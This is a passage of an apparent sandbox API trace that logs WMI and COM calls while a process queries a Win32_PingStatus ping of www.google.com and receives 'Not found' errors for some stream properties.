pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0140.562] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.562] IWbemClassObject:Get (in: This=0x4f432d8, wszName="WriteWarningStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a728*=0, plFlavor=0x248a72c*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248a728*=0, plFlavor=0x248a72c*=0) returned 0x80041002 [0140.562] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0140.579] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b298) returned 0x0 [0140.579] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b298, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0140.579] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b298, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f5b2b8) returned 0x0 [0140.579] WbemStatusCodeText:IUnknown:Release (This=0x4f5b298) returned 0x0 [0140.580] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f5b2b8) returned 0x0 [0140.580] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2b8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0140.580] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2b8) returned 0x3 [0140.580] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2b8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0140.580] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2b8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0140.580] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2b8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0140.580] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0140.580] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0140.580] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0140.580] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2b8) returned 0x2 [0140.580] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2b8) returned 0x1 [0140.580] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0140.580] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0140.580] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2b8, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f5b2b8) returned 0x0 [0140.581] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2b8) returned 0x3 [0140.581] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2b8) returned 0x2 [0140.581] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f5b2b8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0140.581] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.582] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.582] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.582] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.582] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.582] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0140.582] SafeArrayGetDim (psa=0x507450) returned 0x1 [0140.582] SafeArrayGetDim (psa=0x507450) returned 0x1 [0140.582] SafeArrayGetLBound (in: psa=0x507450, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0140.583] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.583] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.583] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.583] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.583] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.583] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.583] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.583] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.583] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.583] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.583] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.583] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.583] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.583] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.583] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.583] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.583] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.583] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.584] SysStringByteLen (bstr="__PATH") returned 0xc [0140.584] SysStringByteLen (bstr="__PATH") returned 0xc [0140.584] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ab08*=0, plFlavor=0x248ab0c*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x248ab08*=3, plFlavor=0x248ab0c*=64) returned 0x0 [0140.584] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ab3c*=0, plFlavor=0x248ab40*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248ab3c*=8, plFlavor=0x248ab40*=64) returned 0x0 [0140.584] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.584] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.584] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ab94*=0, plFlavor=0x248ab98*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ab94*=8, plFlavor=0x248ab98*=64) returned 0x0 [0140.584] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248abbc*=0, plFlavor=0x248abc0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248abbc*=8, plFlavor=0x248abc0*=64) returned 0x0 [0140.584] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.585] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.585] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ac14*=0, plFlavor=0x248ac18*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248ac14*=8, plFlavor=0x248ac18*=64) returned 0x0 [0140.585] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.585] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.585] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248adf0*=0, plFlavor=0x248adf4*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x248adf0*=3, plFlavor=0x248adf4*=64) returned 0x0 [0140.585] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ae24*=0, plFlavor=0x248ae28*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248ae24*=8200, plFlavor=0x248ae28*=64) returned 0x0 [0140.586] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248ae58*=0, plFlavor=0x248ae5c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x248ae58*=8, plFlavor=0x248ae5c*=64) returned 0x0 [0140.586] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.586] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.586] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248aea4*=0, plFlavor=0x248aea8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x248aea4*=8, plFlavor=0x248aea8*=64) returned 0x0 [0140.586] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.586] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.586] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248aef0*=0, plFlavor=0x248aef4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248aef0*=8, plFlavor=0x248aef4*=64) returned 0x0 [0140.586] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.586] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.586] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0140.586] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0140.586] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.586] IWbemClassObject:Get (in: This=0x4f432d8, wszName="WriteVerboseStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b128*=0, plFlavor=0x248b12c*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b128*=0, plFlavor=0x248b12c*=0) returned 0x80041002 [0140.586] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0140.588] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b298) returned 0x0 [0140.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b298, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0140.588] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b298, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f5b2c8) returned 0x0 [0140.588] WbemStatusCodeText:IUnknown:Release (This=0x4f5b298) returned 0x0 [0140.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f5b2c8) returned 0x0 [0140.588] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2c8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0140.589] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2c8) returned 0x3 [0140.589] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2c8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0140.589] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2c8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0140.589] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2c8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0140.589] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0140.589] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0140.589] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2c8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0140.589] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2c8) returned 0x2 [0140.589] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2c8) returned 0x1 [0140.589] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0140.589] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0140.589] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2c8, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f5b2c8) returned 0x0 [0140.589] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2c8) returned 0x3 [0140.589] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2c8) returned 0x2 [0140.589] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f5b2c8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0140.589] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.591] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.591] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.591] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.591] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.591] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.591] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0140.591] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.591] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.591] SafeArrayGetLBound (in: psa=0x507420, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0140.591] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.591] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.591] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.591] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.591] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.591] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.591] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.592] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.592] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.592] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.592] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.592] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.592] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.592] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.592] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.592] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.592] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.592] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.592] SysStringByteLen (bstr="__PATH") returned 0xc [0140.592] SysStringByteLen (bstr="__PATH") returned 0xc [0140.592] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b508*=0, plFlavor=0x248b50c*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x248b508*=3, plFlavor=0x248b50c*=64) returned 0x0 [0140.592] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b53c*=0, plFlavor=0x248b540*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248b53c*=8, plFlavor=0x248b540*=64) returned 0x0 [0140.593] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.593] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.593] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b594*=0, plFlavor=0x248b598*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b594*=8, plFlavor=0x248b598*=64) returned 0x0 [0140.593] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b5bc*=0, plFlavor=0x248b5c0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248b5bc*=8, plFlavor=0x248b5c0*=64) returned 0x0 [0140.593] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.593] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.593] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 